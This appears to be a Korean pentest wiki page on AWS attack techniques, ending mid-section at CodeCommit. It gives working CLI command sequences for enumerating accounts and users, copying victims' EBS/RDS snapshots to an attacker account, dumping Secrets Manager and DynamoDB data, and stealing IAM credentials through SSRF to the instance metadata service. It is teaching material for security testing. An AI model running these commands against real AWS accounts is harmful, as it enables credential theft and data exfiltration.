# Home

## Introduce

펜테스트 위키는 모의침투 프로젝트와 취약점 분석 및 연구를 통해 얻은 실무적 지식을 바탕으로 운영하는 위키피디아 페이지입니다.

해당 사이트는 정답을 제시하는 것이 아닌, 정보가 부족한 오펜시브 분야에 대한 노하우를 한국어로 제공하여 한국의 오펜시브 산업이 발전하도록 기여하는데 목적을 두고 있습니다.

따라서 모든 내용은 작성자의 개인적 견해가 반영되어 완벽하거나 최신 정보를 반영한다고 보장할 수 없습니다.

또한 본 위키에 수록된 정보는 오로지 개인의 비영리적 목적으로만 사용할 수 있으며, 어떠한 경우에도 불법/상업적 목적으로 사용할 것을 금지하며 이를 위반할 경우 법적 책임을 질 수 있습니다.

습득한 기술이나 정보를 악용하여 발생하는 위법 행위에 대하여, 본 위키의 운영자는 일체의 책임을 지지 않습니다.


# AWS

### S3 Bucket

Amazon S3(Simple Storage Service)는 AWS가 제공하는 객체 스토리지 서비스로, 데이터 파일을 버킷이라는 최상위 컨테이너 단위에 저장합니다. S3 버킷은 정적 웹 사이트 호스팅, 백업 및 로그 저장, 리소스 관리 등 다양한 용도로 사용됩니다.

기본적으로 S3 버킷 자체가 취약한 것은 아니지만 이것으로 인해 공격자는 정보 수집이 가능하며, AWS 구성이 잘못 되었을 경우 정보 수집으로 인한 초기 침투 및 서버 장악도 가능합니다.

### 접근 제어

<figure><img src="/files/vfDzFG0Mc5WGNQ17Kqyn" alt=""><figcaption></figcaption></figure>

공개되었으며 익명의 사용자에게 ListBucket 권한을 허용한 버킷이라고 하더라도 웹 브라우저로 접근 시 위와 같은 접근 거부 페이지가 나타나는 이유는 접근 방식에 있습니다.

일반적으로 브라우저를 통해 S3 버킷에 접근하면 Rest API 요청 방식과 같이 접근하는데, 이때 요청에는 자격증명 없이 접근하기 때문에 권한을 요구하는 API 엔드포인트에서 접근을 차단합니다.

<figure><img src="/files/VaQP0pcmaQkW4cjE8i6O" alt=""><figcaption></figcaption></figure>

또한 cli 기반이라고 하더라도 aws 도구에 저장된 자격증명이 있을 경우 기본적으로 버킷에 접근하면 차단되는 반면 익명 권한으로 접근 시에는 객체를 열거할 수 있는 점이 확인됩니다. 이런 현상이 나타나는 이유는 AWS는 다음과 같은 순서대로 권한을 확인하기 때문입니다.

1. 명시적 Deny
2. 명시적 Allow
3. 기본 Deny

<figure><img src="/files/mkCxEotYFoydwS7nQRXY" alt=""><figcaption></figcaption></figure>

기본 자격증명을 가진 상태로 버킷에 접근 시 익명 접근을 허용한 버킷은 명시적으로 접근이 차단된 사용자인지 확인합니다. 이후 차단된 사용자가 아닐 경우 명시적으로 허용했는지 확인하는데, 자격증명을 가진 사용자는 버킷의 정책에서 허용한 익명 권한이 아니기 때문에 접근할 수 없게 됩니다.


# 정보 수집


# Account ID Enumeration

<figure><img src="/files/drwDogokHDsPsSDoBxa9" alt=""><figcaption><p>S3 버킷 기본 생성 설정</p></figcaption></figure>

[AWS](/cloud/aws#s3-bucket)은 생성할 때 기본적으로 프라이빗 상태이지만, e커머스와 같이 웹 자산을 제공하기 위해 의도적으로 퍼블릭으로 사용하기도 합니다.

퍼블릭 버킷을 하는 주 목적인 파일 다운로드(웹 자산 배포)를 위해서는 s3:GetObject 권한이 필요합니다. 반면 s3:ListBucket 권한이 같이 활성화 되어 있을 경우에만 Account ID 열거 공격이 가능합니다.

## Setting

열거 공격을 위해서 공격자 AWS에서 몇가지 설정을 해줘야 합니다. `IAM > 사용자 > 사용자 생성 > 권한 추가 > 인라인 정책 생성`을 통해 json 형식의 정책을 생성합니다.

```json
{
	"Version": "2012-10-17",
	"Statement": {
		"Effect": "Allow",
		"Action": "sts:AssumeRole",
		"Resource": "arn:aws:iam::'<account-id>':role/pentest"
	}
}
```

사용자 정책 생성 이후 역할을 생성해야 합니다. `IAM > 역할 > 역할 생성 > 사용자 지정 신뢰 정책` 를 통해 json 형식의 신뢰 정책을 생성합니다.

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::'<account-id>':user/mick3y"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}
```

마지막으로 `IAM > 역할 > 생성한 역할 > 권한 정책 > 권한 추가 > 인라인 정책 생성` 에서 json 형식의 권한 정책을 추가합니다.

```json
{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Effect": "Allow",
			"Action": [
				"s3:ListAllMyBuckets",
				"s3:ListBucket",
				"s3:GetBucketLocation",
				"s3:GetObject"
			],
			"Resource": "*"
		}
	]
}
```

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># s3-account-search 설치 및 환경변수 등록
</strong>python3 -m pipx install s3-account-search 
pipx ensurepath

<strong># 대상 Account ID 열거
</strong>s3-account-search '&#x3C;role-arn>' '&#x3C;target-s3-name>' --profile '&#x3C;aws-profile>'
</code></pre>


# Cognito Account Enumeration

<figure><img src="/files/9pkGGfb4YrQiOFwCWd8P" alt=""><figcaption></figcaption></figure>

Cognito에서 패스워드 기반 로그인 시 `사용자 존재 오류 방지` 기능이 꺼져있다면, 존재하지 않는 계정과 존재하는 계정으로 로그인을 시도했을 때 서버의 응답 차이로부터 계정 열거가 가능합니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 계정 존재유무 확인
</strong>aws cognito-idp initiate-auth --region '&#x3C;region>' --client-id '&#x3C;client-id>' --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=admin@test.com,PASSWORD=x
</code></pre>

## Demo

<figure><img src="/files/aZrGePOHgmnhEWrQEg3n" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/>" %}


# IAM Account Enumeration

IAM 자격증명을 획득하거나 세션을 가지고 있더라도 다른 사용자 계정 목록을 열거하기 위해서는 명시적으로 `iam:ListUsers` 권한이 필요합니다.&#x20;

하지만 AWS 서비스를 이용하는 몇가지 기능들에서 객체에 대한 새로운 속성 등을 생성하거나 지정할 때, 존재하는 계정과 존재하지 않는 계정의 응답이 다른 것을 이용하여 계정 목록을 열거할 수 있습니다.

이러한 에러 기반의 열거 공격은 비록 `iam:ListUsers` 권한이 없더라도 사용할 수 있지만, 그 대신 속성들을 생성하거나 수정하는 권한들이 요구됩니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># AWeSomeUserFinder 설치
</strong>git clone https://github.com/dievus/AWeSomeUserFinder.git
cd AWeSomeUserFinder
pip install -r requirements.txt

<strong># 워드리스트 기반로 사용자 계정 목록 열거
</strong>- s3 버킷 정책 수정을 통한 열거
python3 AWeSomeUserFinder.py -a '&#x3C;account-id>' -ak '&#x3C;access-key>' -sk '&#x3C;secret-key>' -s3 -b '&#x3C;bucket>' -rf '&#x3C;username-wordlist>'

- iam 역할 정책 수정을 통한 열거
python3 AWeSomeUserFinder.py -a '&#x3C;account-id>' -ak '&#x3C;access-key>' -sk '&#x3C;secret-key>' -i -rn '&#x3C;role>' -rf '&#x3C;username-wordlist>'
</code></pre>

{% hint style="info" %}
IAM 역할 정책 수정을 통한 시나리오는 다음과 같은 권한이 요구됩니다.

1. iam:GetRole
2. iam:CreatePolicy
3. iam:UpdateAssumeRolePolicy
4. iam:CreateRole
5. iam:AttachRolePolicy
   {% endhint %}

{% hint style="info" %}
S3 버킷 정책 수정을 통한 시나리오는 다음과 같은 권한이 요구됩니다.

1. s3:PutBucketPolicy
2. s3:GetBucketPolicy
   {% endhint %}

## Root Cause

<figure><img src="/files/cFigQu5UaBMMiNGSGeAv" alt=""><figcaption></figcaption></figure>

AWS에서 정책의 영향을 받는 객체를 지정할 때, 해당 객체에 대한 제어권이 없더라도 존재하는 계정과 없는 계정은 응답에서 차이가 발생합니다.&#x20;

위 사진의 경우 IAM 역할의 신뢰 관계에서 적용 대상을 통해 객체의 존재 여부를 파악하는 예시이며, 실제로는 더 다양한 벡터가 있습니다.

<div><figure><img src="/files/7awDnoPPdoxrJHdUyDf1" alt=""><figcaption><p>존재하지 않는 객체</p></figcaption></figure> <figure><img src="/files/7JWvBubJrOMhBJbM0kiA" alt=""><figcaption><p>존재하는 객체</p></figcaption></figure></div>

## References

{% embed url="<https://github.com/dievus/AWeSomeUserFinder/tree/main>" %}


# 후속 공격


# EBS Snapshot

EBS(Elastic Block Store)는 EC2 인스턴스에 연결해 사용하는 블록 스토리지 서비스입니다. 하드디스크에 저장된 데이터를 탈부착하여 다른 데스크탑과 연결해 사용할 수 있는 것처럼 다른 인스턴스와 연결하여 사용할 수 있습니다.

스냅샷은 인스턴스를 저장하고자 하는 시점(특히 초기화 직후)에서 생성하면 언제든 해당 시점과 동일하게 복원할 수 있는 기능으로, 스냅샷을 통해 볼륨을 생성하는 것이 가능합니다.

따라서 스냅샷에 대해 접근 권한이 있는 자격증명을 획득하거나, 퍼블릭 스냅샷을 자신의 인스턴스에 복제하기 위해 해당 스냅샷으로부터 자신의 AWS 볼륨을 생성하고 해당 볼륨을 인스턴스에 연결함에 따라 대상 시스템을 그대로 복사할 수 있습니다.

## Abuse

{% tabs %}
{% tab title="Public EBS" %}

<pre class="language-bash"><code class="lang-bash"><strong># Account ID를 기반으로 퍼블릭 EBS 목록 열거
</strong>aws ec2 describe-snapshots --owner-ids '&#x3C;target-account-id>' --region 'ap-northeast-2' --query "Snapshots[*].[SnapshotId,VolumeSize,Description]" --output table

<strong># 공격자 계정으로 스냅샷 복사
</strong>aws ec2 create-volume --availability-zone 'ap-northeast-2' --snapshot-id '&#x3C;snap-id>'
</code></pre>

{% endtab %}

{% tab title="Private EBS" %}

<pre class="language-bash"><code class="lang-bash"><strong># 획득한 크리덴셜을 이용하여 관리형 정책 확인
</strong>aws iam list-attached-user-policies --user-name '&#x3C;user-id>' --query "AttachedPolicies[*].PolicyName" --output table

<strong># 인라인 정책 확인
</strong>aws iam list-user-policies --user-name '&#x3C;user-id>'
aws iam get-user-policy --user-name '&#x3C;user-id>' --policy-name '&#x3C;policy-name>'

<strong># Private EBS의 스냅샷 생성
</strong>aws ec2 create-snapshot --volume-id '&#x3C;volume-id>' --description '&#x3C;snap-id>'

<strong># 공격자 계정이 EBS 스냅샷에 접근할 수 있도록 권한 부여
</strong>aws ec2 modify-snapshot-attribute --snapshot-id '&#x3C;snap-id>' -attribute createVolumePermission --operation-type add --user-ids '&#x3C;account-id>' 

<strong># 공격자 계정으로 스냅샷 복사
</strong>aws ec2 create-volume --availability-zone 'ap-northeast-2' --snapshot-id '&#x3C;snap-id>'

<strong># 할당한 공격자 계정의 권한을 삭제
</strong>aws ec2 modify-snapshot-attribute --snapshot-id '&#x3C;snap-id>' -attribute createVolumePermission --operation-type remove --user-ids '&#x3C;account-id>'
</code></pre>

{% endtab %}
{% endtabs %}

공개 스냅샷을 검색하기 위해 `AWS > EC2 > 스냅샷 > 퍼블릭 스냅샷` 에서 스냅샷 아이디를 검색합니다.

<figure><img src="/files/etRJnv9KhVZig7cb4DEt" alt=""><figcaption></figcaption></figure>

검색 이후 식별된 스냅샷을 우클릭하여 스냅샷에서 볼륨 생성 후 볼륨 목록에서 생성된 볼륨을 확인합니다.

<figure><img src="/files/ZpNhupEFmfQEG1JEVUrS" alt=""><figcaption></figcaption></figure>

볼륨 연결을 위한 인스턴스 생성 이후 볼륨 우클릭에서 인스턴스 연결을 클릭한 뒤 생성한 인스턴스 아이디를 입력하여 연결합니다.

이후 인스턴스 시스템에 연결하여 로컬 디스크와 볼륨 정보를 확인하기 위해 lsblk 명령 사용 이후 연결된 볼륨의 경로를 마운트하여 스냅샷과 연결합니다.

<pre class="language-bash"><code class="lang-bash"><strong># 로컬 디스크 확인
</strong>lsblk

<strong># 디렉토리 생성 및 마운트
</strong>sudo mount /dev/xvdf1 temp
</code></pre>


# RDS Snapshot

RDS(Relational Database Service)는 AWS에서 제공하는 관리형 데이터베이스 서버입니다. 기본적으로 데이터베이스 연결 시 별도의 자격증명을 요구하기 때문에 IAM 크리덴셜을 획득했다고 하더라도 곧바로 데이터베이스를 퍼블릭으로 전환한 뒤 연결하는 것은 어렵습니다.

하지만 스냅샷은 인스턴스 전체 데이터를 그대로 포함하기 때문에 기존의 패스워드 없이도 관리자 패스워드를 생성할 수 있어 이를 통해 공격자는 데이터베이스 자격증명 없이도 데이터 탈취가 가능합니다.

## Abuse

{% tabs %}
{% tab title="Public RDS" %}

<pre class="language-bash"><code class="lang-bash"><strong># Account ID를 기반으로 퍼블릭 RDS 목록 열거
</strong>aws rds describe-db-snapshots --snapshot-type public --include-public --region &#x3C;region> | grep &#x3C;AccountID>
aws rds describe-db-cluster-snapshots --snapshot-type public --include-public --region &#x3C;region> | grep &#x3C;AccountID>

<strong># 공격자 계정으로 스냅샷 복사
</strong>aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:&#x3C;victim_account_id>:snapshot:pentest-snap --db-instance-class db.t3.medium --publicly-accessible --region ap-northeast-2
</code></pre>

{% endtab %}

{% tab title="Private RDS" %}

<pre class="language-bash"><code class="lang-bash"><strong># 획득한 크리덴셜을 이용하여 관리형 정책 확인
</strong>aws iam list-attached-user-policies --user-name '&#x3C;user-id>' --query "AttachedPolicies[*].PolicyName" --output table

<strong># 인라인 정책 확인
</strong>aws iam list-user-policies --user-name '&#x3C;user-id>'
aws iam get-user-policy --user-name '&#x3C;user-id>' --policy-name '&#x3C;policy-name>'

<strong># Private RDS의 스냅샷 생성
</strong>aws rds create-db-snapshot --db-instance-identifier '&#x3C;db-name>' --db-snapshot-identifier '&#x3C;snap-id>' --region 'ap-northeast-2'

<strong># 공격자 계정이 RDS 스냅샷에 접근할 수 있도록 권한 부여
</strong>aws rds modify-db-snapshot-attribute --db-snapshot-identifier '&#x3C;snap-id>' --attribute-name restore --values-to-add '&#x3C;account-id>' --region 'ap-northeast-2'

<strong># 공격자 계정으로 스냅샷 복사
</strong>aws rds restore-db-instance-from-db-snapshot --db-instance-identifier clone-db --db-snapshot-identifier arn:aws:rds:us-east-1:'&#x3C;victim_account_id>':snapshot:'&#x3C;snap-id>' --db-instance-class db.t3.medium --publicly-accessible --region 'ap-northeast-2'

<strong># 스냅샷을 다시 프라이빗으로 변경
</strong>aws rds modify-db-snapshot-attribute --db-snapshot-identifier '&#x3C;snap-id>' --attribute-name restore --values-to-remove '&#x3C;account-id>' --region 'ap-northeast-2'
</code></pre>

{% endtab %}
{% endtabs %}

RDS를 로컬 AWS로 복사한 이후 원격으로 접속하기 위해 다음 세 가지 설정을 해줘야 합니다.

1. RDS 퍼블릭 엑세스 허용
2. 마스터 패스워드 변경
3. 인바운드 정책 수정

모든 설정을 완료했다면 cli와 gui에서 원격 연결이 가능합니다.

<figure><img src="/files/TXqOmb4QF6n8doTsHPv1" alt=""><figcaption></figcaption></figure>


# Public AMI

<figure><img src="/files/mQmL6yzanXu4HfvS6ZI0" alt=""><figcaption></figcaption></figure>

AMI(Amazon Machine Image)는 인스턴스를 실행할 때 사용하는 이미지입니다.

기본적으로 AMI는 Private으로 설정되지만 Public으로 설정되어 있을 경우 Account ID 정보를 토대로 AMI 목록을 열거할 수 있고, 공개된 AMI로부터 인스턴스를 생성하여 시스템 내부 데이터를 탈취할 수 있습니다.

{% hint style="info" %}
일반적으로 AMI는 깡통이라 생각할 수 있지만 초기 세팅 스크립트가 있을 확률이 높으며, 그 안에는 크리덴셜 등이 있을 수 있습니다.
{% endhint %}

## Abuse

{% hint style="info" %}
AMI 목록 열거는 Public 자산이더라도 익명 접근이 불가능하며 반드시 AWS 자격증명이 있어야 합니다.
{% endhint %}

<pre class="language-bash"><code class="lang-bash"><strong># Account ID를 기반으로 AMI 목록 열거
</strong>aws ec2 describe-images --owners '&#x3C;account-id>' --include-deprecated --region '&#x3C;region>'

<strong># AMI를 통해 인스턴스 생성
</strong>aws ec2 run-instances --image-id '&#x3C;ami-id>' --instance-type t2.micro --key-name '&#x3C;your-aws-ssh-key>' --tag-specifications 'ResourceType=instance,Tags=[{Key=Name,Value=TestInstance}]'

<strong># aws ssh 키를 통해 생성한 인스턴스에 로그인
</strong>ssh -i '&#x3C;your-aws-ssh-key>' '&#x3C;user@instance-ip>'
</code></pre>


# Secrets Manager

Secrets Manager는 AWS에서 제공하는 비밀 관리형 서비스로 데이터베이스 연결 정보 등과 같은 크리덴셜을 백엔드 소스코드에 하드코딩하지 않고도 연결할 수 있도록 지원합니다.&#x20;

이 서비스를 통해 관리되는 모든 정보는 기본적으로 AWS KMS를 통해 암호화가 되며, 저장 외에도 자동으로 주기적 패스워드 변경 서비스도 지원합니다.

## Abuse

환경 구성 : [Secrets Manager](/home-lab/aws/secrets-manager)

<pre class="language-bash"><code class="lang-bash"><strong># 현재 연결된 IAM 사용자 ARN 확인
</strong>aws sts get-caller-identity

<strong># Secrets Manager와 관련된 IAM 권한 확인
</strong>aws iam simulate-principal-policy --policy-source-arn '&#x3C;arn>' --action-names secretsmanager:GetSecretValue secretsmanager:ListSecrets

<strong># AWS Secrets Manager 열거
</strong>aws secretsmanager list-secrets --query 'SecretList[*].[Name, Description, ARN]' --output json

<strong># 열거된 보안 암호에 저장된 값 출력
</strong>aws secretsmanager get-secret-value --secret-id '&#x3C;보안 암호 이름>' --query SecretString --output text | jq
</code></pre>

{% hint style="info" %}
해당 시나리오는 다음과 같은 권한이 요구됩니다.

1. GetCallerIdentity
2. iam:SimulatePrincipalPolicy
3. secretsmanager:ListSecrets
4. secretsmanager:GetSecretValue
   {% endhint %}

Secrets Manager을 사용하여 자격증명을 안전하게 보관하면 파일 다운로드 공격과 같이 웹 서버의 소스코드를 탈취하는 공격으로부터는 비교적 안전할 수 있지만 웹 서버가 장악당한다면 소스코드를 수정하여 자격증명을 탈취할 수 있습니다.

## Demo

<figure><img src="/files/SL2rR7Bee6v67ULpL4Ek" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://somaz.tistory.com/183>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/APIReference/API_SimulatePrincipalPolicy.html>" %}


# IAM Policy Version

<figure><img src="/files/VvABGGCosQLo8m0km7cQ" alt=""><figcaption><p><a href="https://docs.aws.amazon.com/ko_kr/IAM/latest/UserGuide/access_policies_managed-versioning.html">https://docs.aws.amazon.com/ko_kr/IAM/latest/UserGuide/access_policies_managed-versioning.html</a></p></figcaption></figure>

IAM 고객 관리형 정책을 생성한 뒤 변경하면 기존의 정책을 덮어쓰지 않고 새로운 버전을 생성합니다. 이 기능은 깃허브에서 커밋을 하더라도 기존의 히스토리 내역을 조회하거나 되돌릴 수 있는 것과 유사합니다.

버전은 최대 5개까지 관리할 수 있으며, 이를 초과할 경우 가장 오래된 버전이 자동으로 삭제됩니다.

## Abuse

환경 구성 : [IAM Policy Version](/home-lab/aws/iam-policy-version)

<pre class="language-bash"><code class="lang-bash"><strong># 현재 IAM 사용자가 적용받는 IAM Policy 열거
</strong>aws iam list-attached-user-policies --user-name '&#x3C;username>'

<strong># IAM Policy의 ARN을 특정하여 버전 열거
</strong>aws iam list-policy-versions --policy-arn '&#x3C;iam-policy-arn>'

<strong># ARN 하위 특정 버전의 속성 확인
</strong>aws iam get-policy-version --policy-arn '&#x3C;iam-policy-arn>' --version-id '&#x3C;version>'

<strong># 특정 버전을 기본 IAM Policy로 사용
</strong>aws iam set-default-policy-version --policy-arn '&#x3C;iam-policy-arn>' --version-id '&#x3C;version>'
</code></pre>

{% hint style="info" %}
해당 시나리오는 다음과 같은 권한이 요구됩니다.

1. iam:ListAttachedUserPolicies
2. iam:ListPolicyVersions
3. iam:GetPolicyVersion
4. iam:SetDefaultPolicyVersion
   {% endhint %}

## References

{% embed url="<https://docs.aws.amazon.com/ko_kr/IAM/latest/UserGuide/access_policies_managed-versioning.html>" %}


# S3 Bucket Version

AWS 버전 관리는 동일한 S3 버킷 내의 모든 객체들의 상태를 버전 별로 저장하여 보존, 검색 및 복원을 지원하는 서비스입니다.

버킷 내 버전은 다음과 같은 특징을 가집니다.

1. 버킷의 버전은 버킷 내 저장된 각각의 객체들에 대해 개별적으로 관리한다.
2. 각 객체는 모두 연관성 없는 난수 형태의 버전을 가지며, 변경이 될 때마다 버전은 새로 생성된다.
3. 삭제된 객체는 DeleteMarkers 목록에 별도로 표시된다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 버킷 내 객체 버전 열거
</strong>aws s3api list-object-versions --bucket '&#x3C;s3-bucket>' --no-sign-request

<strong># 버킷 내 저장된 특정 버전 가져오기
</strong>aws s3api get-object --bucket '&#x3C;s3-bucket>' --key '&#x3C;key-file>' --version-id '&#x3C;version-id>' '&#x3C;save-file>'
</code></pre>

{% hint style="info" %}
해당 시나리오는 다음과 같은 권한이 요구됩니다.

1. S3 버킷 버전 목록 열거 : s3:ListBucketVersions
2. 특정 버전 다운로드 : s3:GetObjectVersion
   {% endhint %}

## References

{% embed url="<https://docs.aws.amazon.com/ko_kr/AmazonS3/latest/userguide/Versioning.html>" %}


# Credential theft via SSRF

인스턴스 시스템에서는 169.254.169.254에 접근하여 EC2 메타데이터 정보를 수집할 수 있습니다.

IMDSv1(Instance Metadata Service Version)를 사용할 경우 직접적으로 접근할 수 있지만 IMDSv2를 사용할 경우 토큰이 필요하여 토큰과 함께 엔드포인트에 요청해야 합니다.

토큰은 /latest/api/token 경로에 접근하여 발급받을 수 있습니다.

{% hint style="info" %}
IMDSv2의 경우 PUT 요청을 통한 토큰 발급이 필수이기 때문에 일반적인 SSRF 환경에서 제한됩니다.
{% endhint %}

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 토큰 발급
</strong>TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

<strong># IAM Role 식별
</strong>curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

<strong># Role에 대한 크리덴셜 획득
</strong>curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/'&#x3C;iam-role>'

<strong># 획득한 크리덴셜 저장 및 이용
</strong>aws configure --profile pentest
 - access-key 
 - secret-key 
echo "aws_session_token = '&#x3C;token>'" >> ~/.aws/credentials
</code></pre>

## Demo

<figure><img src="/files/lUFezQpCE9tg55j7jKcS" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://docs.aws.amazon.com/ko_kr/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html>" %}

{% embed url="<https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/>" %}


# Cognito Misconfiguration

Cognito는 AWS에서 제공하는 사용자 인증 및 권한 부여 서비스이며 사용자 풀(User Pool)과 자격증명 풀(Identity Pool)로 이루어집니다. 잘못된 cognito 설정은 게스트 접근 활성화와 IAM에 필요 이상의 권한 부여가 되었을 때 발생할 수 있는 공격 방법론입니다.

cognito에서 게스트 접근 활성화는 정상적인 기능이며 다음과 같은 상황에서 사용될 수 있습니다.

```
무료 회원은 열람할 수 없는 로직을 구현하고 싶을 때 게스트 접근을 허용하고, 
게스트 접근을 통해 얻은 임시 세션에서는 IAM 권한을 제한하여 버킷 내 리소스를 차등적으로 배포
```

하지만 게스트 접근이 불필요함에도 실수로 허용하거나, 게스트 접근을 통해 얻은 임시 세션의 IAM 권한이 필요 이상일 경우에 공격자는 익명 권한으로도 버킷을 침해할 수 있습니다.

## Abuse

{% tabs %}
{% tab title="Guest Access" %}

<pre class="language-bash"><code class="lang-bash"><strong># Cognito 자격 증명 풀(Identity Pool)에서 사용자의 IdentityId를 요청
</strong>aws cognito-identity get-id --identity-pool-id '&#x3C;identity-pool-id>' --no-sign-request --region '&#x3C;region>'

<strong># 획득한 IdentityId를 이용해 임시 자격 증명(AccessKey, SecretKey, SessionToken) 요청
</strong>aws cognito-identity get-credentials-for-identity --identity-id '&#x3C;identity-id>' --no-sign-request --region '&#x3C;region>'

<strong># 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
</strong>aws configure set aws_access_key_id '&#x3C;AccessKeyId>'
aws configure set aws_secret_access_key '&#x3C;SecretKey>'
aws configure set aws_session_token '&#x3C;SessionToken>'
</code></pre>

{% endtab %}

{% tab title="Self-Signup" %}

<pre class="language-bash"><code class="lang-bash"><strong># Cognito User Pool에 새 사용자 회원가입 요청
</strong>aws cognito-idp sign-up --client-id '&#x3C;client-id>' --username '&#x3C;username>' --password '&#x3C;password>' --user-attributes Name='email',Value='&#x3C;email>' --region '&#x3C;region>'

<strong># 이메일로 받은 인증 코드를 사용하여 계정 활성화
</strong>aws cognito-idp confirm-sign-up --client-id '&#x3C;client-id>' --username '&#x3C;username>' --confirmation-code '&#x3C;confirm-code>' --region '&#x3C;region>'

<strong># 사용자 로그인 및 JWT 토큰(세션) 발급
</strong>aws cognito-idp initiate-auth --client-id '&#x3C;client-id>' --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME='&#x3C;username>',PASSWORD='&#x3C;password>' --region '&#x3C;region>'

<strong># Cognito Federated Identity를 통한 Identity ID 발급
</strong>aws cognito-identity get-id --identity-pool-id '&#x3C;identity-pool-id>' --logins "{ \"cognito-idp.region.amazonaws.com/'&#x3C;user-pool-id>'\" : \"'&#x3C;IdToken>'\" }" --region '&#x3C;region>'

<strong># AWS 임시 자격증명 발급
</strong>aws cognito-identity get-credentials-for-identity --identity-id '&#x3C;identity-id>' --logins "{ \"cognito-idp.region.amazonaws.com/'&#x3C;user-pool-id>'\" : \"'&#x3C;IdToken>'\" }" --region '&#x3C;region>'

<strong># 발급받은 임시 자격 증명을 AWS CLI 프로필에 저장
</strong>aws configure set aws_access_key_id '&#x3C;AccessKeyId>'
aws configure set aws_secret_access_key '&#x3C;SecretKey>'
aws configure set aws_session_token '&#x3C;SessionToken>'
</code></pre>

{% endtab %}
{% endtabs %}

#### 사용자 풀(User Pool)

{% hint style="info" %}
사용자 풀은 Amazon Cognito 사용자 디렉토리로써 로그인/회원가입/MFA/OAuth 등을 관리합니다.
{% endhint %}

<figure><img src="/files/WMBPLWYcmRVjhcgdPJgj" alt=""><figcaption></figcaption></figure>

cognito에 인증하기 위한 첫번째 단계에서 InitiateAuth 함수를 사용하여 JSON 요청 구문에 계정정보 및 사용자 풀 Client Id, 인증 흐름을 정의하여 요청합니다.

<figure><img src="/files/zdCegZadjP0umixP8D5N" alt=""><figcaption></figcaption></figure>

서버는 전달받은 요청대로 앱 클라이언트에 인증을 시도하여 인증이 성공한다면 JWT 형태로 인증 정보를 반환합니다. 게스트 접근을 통해 임시 자격증명을 획득하는 프로세스의 경우 이 단계가 생략됩니다.

#### 자격증명 풀(Identity Pool)

{% hint style="info" %}
자격증명 풀은 JWT 토큰을 기반으로 사용자가 가진 권한대로 임시 자격증명을 배포합니다.
{% endhint %}

서버는 JWT 토큰을 기반로 다음 단계를 거쳐 임시 자격증명을 배포합니다.

1. 자격증명 풀 아이디에 대해 JWT 토큰을 포함한 요청으로 IdentityId 할당
2. 할당된 IdentityId에 대해 JWT 토큰을 포함한 요청으로 임시 자격증명 할당

첫번째 단계에서 IdentityId를 발급받기 위해 클라이언트는 JWT 토큰을 포함하여 GetId 함수를 호출합니다.&#x20;

<figure><img src="/files/EsqybGlCaVe8X30aeYAZ" alt=""><figcaption></figcaption></figure>

이 함수는 같은 사용자에 대해서는 항상 동일한 IdentityId를 반환하고, 게스트 접근의 경우 일반적으로 요청마다 다른 IdentityId가 반환됩니다.

두번째 단계에서 클라이언트는 JWT 토큰을 포함하여 GetCredentialsForIdentity 함수를 호출합니다.&#x20;

<figure><img src="/files/rVserQjuWGR3INRZToFR" alt=""><figcaption></figcaption></figure>

이 함수는 자격증명에 필요한 AccessKey, SecretKey, SessionToken를 반환하고 클라이언트는 이를 통해 기본적으로 1시간 동안 유효한 IAM 자격증명을 획득할 수 있습니다.

전체적인 인증 프로세스는 다음과 같습니다.

<figure><img src="/files/f5YtAfNljzLmgLvg0ChN" alt=""><figcaption><p><a href="https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/cognito-scenarios.html">https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/cognito-scenarios.html</a></p></figcaption></figure>

## Demo

<figure><img src="/files/8FfwlnqCT3hRe9LywoAN" alt=""><figcaption></figcaption></figure>

## References

{% embed url="<https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/what-is-amazon-cognito.html>" %}

{% embed url="<https://docs.aws.amazon.com/ko_kr/cognito/latest/developerguide/cognito-user-pools.html>" %}

{% embed url="<https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html>" %}

{% embed url="<https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetId.html>" %}

{% embed url="<https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_InitiateAuth.html>" %}


# DynamoDB

DynamoDB는 AWS에서 제공하는 NoSQL 기반의 데이터베이스 서버입니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># DynamoDB 내 테이블 목록 열거 (dynamodb:ListTables 권한 필요)
</strong>aws dynamodb list-tables

<strong># 테이블 정보 출력 (dynamodb:DescribeTable 권한 필요)
</strong>aws dynamodb describe-table --table '&#x3C;table-name>'

<strong># 테이블 데이터 출력
</strong>aws dynamodb scan --table-name '&#x3C;table-name>'
</code></pre>


# CodeCommit

{% hint style="info" %}
CodeCommit은 2024년 7월 25일부터 기존에 등록한 고객에게만 지원되는 서비스입니다.
{% endhint %}

codecommit은 AWS에서 생성한 리포지터리를 git cli를 통해 리포지터리를 관리할 수 있는 서비스입니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># ssh 비밀키가 있거나 aws 자격증명이 있을 때 리포지터리 복제
